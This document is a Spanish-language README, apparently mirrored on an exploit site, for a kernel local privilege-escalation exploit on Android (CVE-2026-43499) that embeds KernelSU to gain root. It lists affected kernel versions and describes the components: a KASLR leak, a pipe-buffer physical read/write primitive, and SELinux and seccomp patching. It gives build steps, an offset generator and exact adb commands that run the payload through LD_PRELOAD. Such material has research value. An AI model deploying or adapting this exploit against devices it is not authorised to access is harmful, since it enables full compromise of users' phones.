## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HUAGUIQI-ASUS_I005-CVE-2026-43499
# CVE-2026-43499-root-KernelSU
Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, integrando KernelSU embebido. Compila y genera `preload.so`; tras una explotación exitosa, KernelSU se iniciará en modo `late-load` (modo jailbreak). Soporta la generación de `target.h` a partir de `(xbl_config.img / vendor_boot.img) + boot.img`.
Adaptación de escalada de privilegios local basada en una vulnerabilidad del kernel, integrando KernelSU embebido. Compila y genera `preload.so`; tras una explotación exitosa, KernelSU se iniciará en modo `late-load` (modo jailbreak). Soporta la generación de `target.h` a partir de `(xbl_config.img / vendor_boot.img) + boot.img`. u otra forma
Proyectos de referencia:
* Linuxoid-cn/CVE-2026-43499-Poc-Analysis
* x-spy/CVE-2026-43499-popsicle
* Colorful-glassblock/duchamp-root
> [!IMPORTANT] La explotación no autorizada de vulnerabilidades para dañar, comprometer u obtener acceso a sistemas informáticos está prohibida por ley. Este proyecto se proporciona estrictamente con fines de investigación, educativos y de aprendizaje, y solo puede utilizarse en sistemas y entornos para los que se haya otorgado autorización previa. Cualquier uso de este proyecto se realiza bajo el propio riesgo del usuario. Los autores y colaboradores no asumen ninguna responsabilidad por cualquier uso indebido de este proyecto ni por daños, pérdidas o consecuencias legales derivadas de su uso.
>
> 免责声明:未经授权利用漏洞对计算机系统实施破坏、入侵或未授权访问的行为均可能违反相关法律法规。本项目仅限于在已获得合法授权的系统和环境中用于安全研究、学习及测试目的。任何因使用、滥用或修改本项目而导致的直接或间接损失、法律责任及其他后果,均由使用者自行承担,项目作者及贡献者不承担任何责任。
## Alcance de afectación
**Cuando su versión del kernel sea {Linux Kernel}, se encuentra dentro del alcance de afectación de esta vulnerabilidad**
* Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**
* **2.6.39** <= {Linux Kernel} < **6.1.175**
* **6.2** <= {Linux Kernel} < **6.6.140**
* **6.7** <= {Linux Kernel} < **6.12.86**
* **6.13** <= {Linux Kernel} < **6.18.27**
* **6.19** <= {Linux Kernel} < **7.0.4**
## Estado actual
Target| Estado
---|---
`rodin`(默认)| Verificado
Otros `src/targets/*`| Referencia
## Estructura de directorios
root@kitploit:~
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 本仓库统一 target.h 生成入口
│ └── vendor/ # 从父目录同步的原始生成辅助脚本
└── src/
├── main.c # exploit 主流程
├── preload.c # LD_PRELOAD constructor + ksud 写出/启动
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
## Compilación
### Dependencias
* Host Linux
* Android NDK
* Ruta predeterminada: `~/android-ndk-r29`
* O configurar: `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
* `make`
* `git`
### Compilación
root@kitploit:~
make PROJECT=<target> -j$(nproc)
Salida:
root@kitploit:~
build/<target>/bin/preload.so
### Ver targets disponibles
root@kitploit:~
make list-projects
## Generar target.h
Este repositorio ya incluye scripts unificados de generación de target:
root@kitploit:~
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
`tools/generate_target.py` es el script de entrada. Toma como referencia y encapsula todos los flujos de generación de target del directorio padre, y finalmente genera el `src/targets/<project>/target.h` completo adaptado al código fuente de este repositorio.
El script no fuerza la validación de `CONFIG_DEBUG_INFO_BTF=y` en IKCONFIG. Si los desplazamientos de campos de estructura o el diseño de percpu `entry_task` no pueden verificarse, imprimirá una advertencia y continuará la generación.
Si la imagen no contiene ningún BTF utilizable, por ejemplo si aparece:
root@kitploit:~
有效 vmlinux BTF 候选不唯一: []
El generador entrará en **fallback sin BTF** :
* Continuará recuperando los desplazamientos de símbolos de funciones/objetos globales desde kallsyms del `boot.img` actual;
* Las macros de campos de estructura/layout que no puedan recuperarse desde BTF heredarán del target plantilla, siendo la plantilla predeterminada `rodin`;
* En la parte superior del header generado se escribirá una advertencia, indicando `without BTF` y la plantilla utilizada;
* Este tipo de header garantiza que sea compilable en la medida de lo posible, pero la fiabilidad en ejecución requiere verificación en dispositivo real.
Se puede especificar la plantilla de fallback:
root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
#### 1\. Generar usando boot.img + profile JSON
root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
Se escribe por defecto en:
root@kitploit:~
src/targets/<project>/target.h
También se puede llamar directamente al script:
root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
`profile.json` debe contener información de direcciones físicas, por ejemplo:
root@kitploit:~
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
#### 2\. Detectar profile desde un dispositivo ADB con root
Solo generar profile:
root@kitploit:~
make detect-profile PROFILE_OUT=profile.json
Detectar profile y generar target inmediatamente:
root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
#### 3\. Generar con (xbl_config.img / vendor_boot.img) + boot.img
El script también expone otras entradas soportadas por el generador del directorio padre:
root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
##### Ejemplo
root@kitploit:~
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
Forma de salida exitosa:
root@kitploit:~
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
`rodin` conservará por defecto el valor verificado en dispositivo real:
root@kitploit:~
#define MM_STRUCT_SZ 0x500
Si se necesita sobrescribir:
root@kitploit:~
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
## Añadir un nuevo target
Se recomienda generar a partir de la imagen de arranque y el profile correspondientes:
root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
Un header de target completo incluirá:
* Constantes de direct map / physical profile
* Desplazamientos de objetos KASLR slide
* Desplazamientos de task / cred / SELinux
* Desplazamientos de pipe / fops / configfs
* Valores de layout de pselect, por ejemplo `PSELECT_WAITER_WORD_SHIFT`
* `MM_STRUCT_SZ` y valores de ajuste de KernelSnitch
## Ejecución
El código fuente actual ya tiene escritos los valores predeterminados; para una ejecución normal solo se necesita configurar `LD_PRELOAD` y ejecutar cualquier programa (se recomienda `toybox id`).
root@kitploit:~
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
## Parámetros de ejecución predeterminados
La configuración predeterminada actual es la siguiente:
Comportamiento del comando ksud realmente ejecutado por defecto:
root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
Estas variables de entorno aún pueden sobrescribirse en tiempo de ejecución, por ejemplo:
root@kitploit:~
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Reutilizar el `ksud` ya escrito:
root@kitploit:~
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
## Limpieza
root@kitploit:~
make clean
`make clean` conservará `build/embed/ksud`, porque `src/ksud_blob.S` lo embebe de la siguiente manera:
root@kitploit:~
.incbin "build/embed/ksud"
Si una limpieza manual provoca la pérdida de `build/embed/ksud`, se puede restaurar:
root@kitploit:~
git checkout -- build/embed/ksud
## Preguntas frecuentes
### `.incbin "build/embed/ksud"` not found
Restaurar el payload embebido y recompilar:
root@kitploit:~
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
### La ruta FOPS devuelve `success=0`
`rodin` espera usar el layout legacy/simple de pselect:
root@kitploit:~
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
Si el estado del dispositivo ha sido contaminado por intentos fallidos, reiniciar directamente y volver a intentar:
root@kitploit:~
adb reboot
### `F_SETPIPE_SZ` devuelve `EPERM`
Normalmente es un problema de estado causado por intentos fallidos/residuales; reiniciar es la forma más rápida de limpiar:
root@kitploit:~
adb reboot
### `ksud` se inicia pero `/proc/modules` no tiene KernelSU
Ver los registros:
root@kitploit:~
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
Si es necesario, ejecutar manualmente en un shell root:
root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
## Licencia
GPL-3.0. Ver `LICENSE`.